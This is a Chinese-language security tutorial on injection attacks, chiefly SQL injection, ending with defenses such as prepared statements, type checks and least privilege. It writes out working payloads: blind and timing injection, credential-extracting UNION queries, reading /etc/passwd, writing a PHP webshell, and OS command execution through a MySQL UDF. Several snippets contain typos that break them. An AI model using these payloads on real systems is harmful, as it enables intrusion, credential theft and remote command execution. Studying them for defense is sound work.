注入***的本質,是把用戶輸入的數據當做代碼執行。這裏有兩個關鍵條件,第一是用戶能夠控制輸入;第二是原本程序要執行的代碼,拼接了用戶輸入的數據。
1、SQL注入
一個SQL注入的典型的例子:
var ShipCity; Shipcity = Request.form("ShipCity") var sql = "selelct * from OrdersTable where ShipCity = ' " + ShipCity + " ' " |
變量ShipCity的值由用戶提交,假如用戶提交一段有語義的SQL語句,比如:
Beijing;drop table OrdersTable-- |
那麼SQL語句在實際執行時如下:
select * from OrdersTable where ShipCity = 'Beijing';drop table OrdersTable-- |
原本正常執行的查詢語句,變成了查詢之後,再執行一個drop表得操作。
1.1、盲注
盲注就是在服務器沒有錯誤回顯時完成的注入***。
最常用的盲注驗證方式是,構造簡單的條件語句,根據返回頁面是否發生變化,來判斷SQL語句是否被執行。
比如,一個應用的URL如下:
http://newspaper.com/items.php?id=2 |
執行的SQL語句爲:
select title,description,body from items where id = 2 |
如果***者構造如下的條件語句:
http://newspaper.com/items.php?id=2 and 1=2 |
實際執行的SQL語句爲:
select title,description,body from items where id = 2 and 1 = 2 |
因爲1=2永遠都是個假命題,所以這條SQL語句的and條件用戶無法成立。對於web應用來說,也不會返回結果給用戶,***者看到的頁面結果將爲空或者是一個出錯的頁面
爲了進一步確認注入是否存在,***者可以繼續構造如下請求:
http://newspaper.com/items.php?id=2 and 1=1 |
如果頁面頁面正常返回了,則說明SQL語句的and成功執行,那麼就可以判斷id參數是否存在SQL漏洞了。
1.2、Timing Attack
在mysql中有一個BENCHMARK()函數,它是用於測試函數性能的,它有兩個參數:
BENCHMARK(count,expr) |
函數執行的結果,是將表達式expr執行count次,比如:
mysql > SELECT BENCHMARK(1000000,ENCODE('hello','goodbye')); |
這裏將ENCODE('hello','goodbye')執行了1000000次。
因此,利用BENCHMARK函數,可以讓同一個函數執行若干次,使得結果返回的時間比平時要長,通過時間長短的變化,可以判斷出注入語句是否執行成功。這個技巧在盲注中被稱爲Timing Attack。
***者接下來要實施的就是利用Timing Attack完成這次***,比如構造的***參數id值爲:
1170 union select if(substring(current,1,1) = char(119),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl; |
代碼註解:
union:用於合併兩個或多個 SELECT 語句的結果集,並消去表中任何重複行,內部的 SELECT 語句必須擁有相同數量的列,列也必須擁有相似的數據類型,UNION 結果集中的列名總是等於第一個 SELECT 語句中的列名。同時,每條 SELECT 語句中的列的順序必須相同。 union all:不消除重複行 select if(expr1,expr2,expr3):如果 expr1 是true,則返回expr2, 否則返回expr3。 select database():查看當前數據庫,如果當前用戶登錄,沒有切換到任何數據庫下,則返回null。 其他函數: system_user():數據庫的系統用戶 current_user():當前登錄該庫用戶 last_insert_id():最後插入數據庫的ID |
這段payload判斷庫名的第一個字母是否爲char(119),即小寫w。如果判斷結果爲真,則會通過benchmark()函數造成較長延時;如果不爲真,則該語句將很快執行。***者遍歷所有字母,直到將整個數據庫名全部驗證完成爲止。
如果當前數據庫用戶(current_user)具有寫權限,那麼***者可以將信息寫入本地磁盤。如:
1170 union all select table_name,table_type,engin from information_schema.tables where table_schema = 'mysql' order by table_name desc into outfile '/path/shema.txt' |
此外,通過dump文件的方法,還可以寫入一個webshell:
1170 union select "<? system($_REQUEST['cmd']); ?>",2,3,4 into outfile "/path/c.php" -- |
Timing Attack是盲注的一種高級技巧。不同的數據庫中,都有類似於BENCHMARK()的函數,可以被Timing Attack所利用。
Mysql :BENCHMARK(1000000,md5(1)) or sleep(5)
PostgreSQL : PG_SLEEP(5) or GENERATE_SERIES(1,1000000)
MS SQL Sever : WAITFOR DELAY '0:0:5'
2、數據庫***技巧
SQL注入是基於數據庫的一種***。不同的數據庫有不同的功能、不同的語法和函數,因此針對不同的數據庫,sql注入的技巧也有所不同。
2.1、常見的***技巧
下面這段payload,則是利用union select來分別確認表名admin是否存在,列名passwd是否存在:
id=5 union all select 1,2,3 from admin id=5 union all select 1,2,passwd from adin |
進一步,想要猜解出username和password具體的值:
id=5 and ascii(substring( (select concat(username,03xa,passwd) from users limit 0,1),1,1) ) > 64 /*ret true*/ id=5 and ascii(substring( (select concat(username,03xa,passwd) from users limit 0,1),1,1) ) > 96 /*ret true*/ id=5 and ascii(substring( (select concat(username,03xa,passwd) from users limit 0,1),1,1) ) > 100 /*ret true*/ ... |
代碼註解:
concat: 用於將多個字符串連接成一個字符串 substring: 字符截取 limit: 用於強制 SELECT 語句返回指定的記錄數,第一個參數指定第一個返回記錄行的偏移量,第二個參數指定返回記錄行的最大數目 |
這個過程非常繁瑣,sqlmap.py(http://sqlmap.sourceforge.net)是一個非常好的自動化注入工具:
$ python sqlmap.py -u "http://a.com/test.php?id=1" ---dump -T users |
在注入的過程中,常常會用到一些寫文件的技巧。比如在mysql中,就可以通過load_file()讀取系統文件,並通過into dumpfile寫入本地文件。所以限制當前數據庫用戶讀寫響應文件或目錄的權限也是安全防禦的手段之一。
union select 1,2 load_file('/etc/passwd'),1,1; create table potatoes(line blob); union select 1,1,hex(load_file('/etc/passwd')),1,1 into dumpfile '/path/patatoes'; load data infile '/path/patatoes' into table potaboes; |
除了使用into dumpfile,還可以使用into outfile,兩者的區別是dumpfile適用於二進制文件,而outfile則更適用於文本文件。
2.2、命令執行
在mysql中,除了可以通過導出webshell間接地執行命令之外,還可以利用“用戶自定義函數”技巧,即UDF(User-Defined Function)來執行命令。一般數據庫中都支持導入一個共享庫文件作爲自定義函數。
有一些UDF在mysql 5之後被限制了,後來安全這發現lib_mysqludf_sys提供的幾個函數可以執行系統命令:
sys_eval:執行任意命令,並將結果輸出
sys_exec:執行任意命令,並將退出碼返回
sys_get:獲取一個環境變量
sys_set:創建和修改一個環境變量
lib_mysqludf_sys使用方法如下:
$ wget --no-check-certifile https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz $ tar xzvf lib_mysqludf_sys_0.0.3.tar.gz $ cd lib_mysqludf_sys_0.0.3 $ sudo ./install.sh #後面就可以使用了 $ mysql -u root -p mysql mysql> select sys_eval('id') |
自動化注入工具sqlmap已經集成了此功能。
2.3、編碼問題
注入***中嚐嚐會使用到單引號、雙引號等特殊字符。在應用中,開發者爲了安全,經常會使用轉義字符"\"來轉移這些字符。但當數據庫使用了"寬字符集"時,可能會產生一些意想不到的漏洞。比如,當Mysql使用了GBK編碼時:
0x 5c = \
0x 27 = '
0x bf 5c = 縗
0x bf 27 = ‘
假如***者輸入0xbf27 or 1=1
即:
‘ or 1=1
經過轉義後會變成0xbf5c27("\"的ascii碼爲0x5c),但0xbf5c又是另一個字符:
0x bf 5c = 縗
因此原本存在的轉義符"\",在數據庫中被吃掉了。
要解決這種問題,需要統一數據庫、操作系統、web應用所使用的字符集,以避免各層對字符的理解存在差異。統一設置爲utf-8是一個很好的方法。
2.4、SQL Column Truncation
在mysql配置選項中,有一個sql_mode選項。當該選項值爲default時,即沒有開啓STRICT_ALL_TABLES選項,此時如果插入一個超長值只會提示warning,而不是error,這會導致一些截斷問題。
如:
insert into test('username','passwd') values ("admin x","123456") |
當關閉了STRICT_ALL_TABLES選項後,以上語句只是警告warning,但是語句仍能執行成,但是因爲username值超過了字段設置的長度,會截斷多餘的部分,最後插入的值可能是
username = "admin" passwd = "123456" |
這種情況可能導致同時存在兩個admin用戶,***者也可以通過該用戶獲取admin權限
3、SQL注入防禦
SQL注入防禦常常會走入誤區。比如只對用戶輸入做一些escape處理,這是不夠的。參考如下代碼:
$sql = "select id,name,mail,cv,blog,twitter from register where id =".mysql_real_escape_string($_GET['id']); |
當***者構造如下的代碼時:
http://test.com/user.php?id=12,and,1=0,union,select,1,concat(user,0x3a,password),3,4,5,6,from,mysql.user,where,user=substring_index(current_user(),char(64),1) |
以上代碼將繞過mysql_real_escape_string,注入成功
代碼註解:
0x3a: 16進制轉化成10進製爲58,58的ascii值爲“ : ” concat: 組合username和password的查詢結果 substring_index(str,delim,count): str:被截取字段 delim:分割符/關鍵字,char(64)表示ascii值 ”@“ count:分割的段落 例:select substring_index("root@localhost","@",1)結果爲root select substring_index("root@localhost","@",-1)結果爲localhost |
因爲mysql_real_escape_string() 函數轉j僅僅會轉義
\n
\r
\
'
"
\x1a
這幾個字符,在本例SQL注入所使用的payload完全沒有用到
那是不是增加一些過濾字符就可以了那?比如包括"空格"、”括號“在內的一些特殊字符,以及一些SQL保留字,比如select。其實這都不是根本的解決問題,因爲***者總能找到沒有轉義的字符,還有一些保留字可能也是用戶認爲的合法的輸入。
3.1、使用預編譯語句
一般來說,防禦SQL注入的最佳方式,就是使用預編譯語句,綁定變量。比如在java中使用預編譯的SQL語句:
string custname = request.getParameter("customername"); string query = "select account_balance from user_data where where user_name = ? "; PreparedStatement pstmt = connection.PrepareStatement(query); psmt.setString(1,custname) //給變量賦值 ResultSet results = pstmt.executeQuery(); |
使用預編譯後,SQL語句的語義不會發生改變。在SQL語句中,變量用?表示,***者無法改變SQL的結構。
在不同的語言中,都有着使用預編譯語句的方法:
Java EE - PrepareStatement() .NET - SqlCommand() or OleDbCommand() PHP - bindParam SQLite - sqlite3_prepare() |
3.2、檢查數據類型
通過限制用戶輸入的數據類型,在很大程度上也能對抗SQL注入。比如定義數據類型只能爲integer;用戶在輸入郵箱時,必須按照郵箱的格式;輸入時間、日期必須嚴格按照時間、日期的格式等等。
3.3、使用安全函數
一般可以根據數據庫廠商做出的指導實現,比如mysql提供了一些編碼字符的思路。同時也可以參考OWASP ESAPI中的實現。這個函數是由安全專家編寫,更值得信賴。
ESAPI.encoder().encodeForSQL(new OracleCodec(),queryparam) |
最後,從數據庫自身的角度,應該使用最小權限原則。
4、其他注入***
4.1、XML注入
XML注入需要滿足兩大條件:用戶能控制數據的輸入;程序拼湊了數據。在修補方案上,與HTML一樣,對用戶輸入數據中的包含的"語義本身的保留字符"進行轉義即可。
4.2、代碼注入
對抗代碼注入、命令注入時,需要禁用eval()、system()等可以執行命令的函數。如果一定要使用這些函數,則需要對用戶的輸入進行數據處理。此外在PHP/JSP中避免動態include遠程文件,或者安全的處理掉它。
4.3、CRLF注入
CRLF是兩個字符:CR是Carriage Return(ASCII 13,\r);LF是Line Feed(ASCII 10,\n)。\r\n這兩個字符是用於表示換行的。常被用作不同語義之間的分隔符。因此通過注入CRLF字符,就可以改變原來的語義。
對抗CRLF的方法非常簡單,只需要處理好\r \n兩個保留字符即可。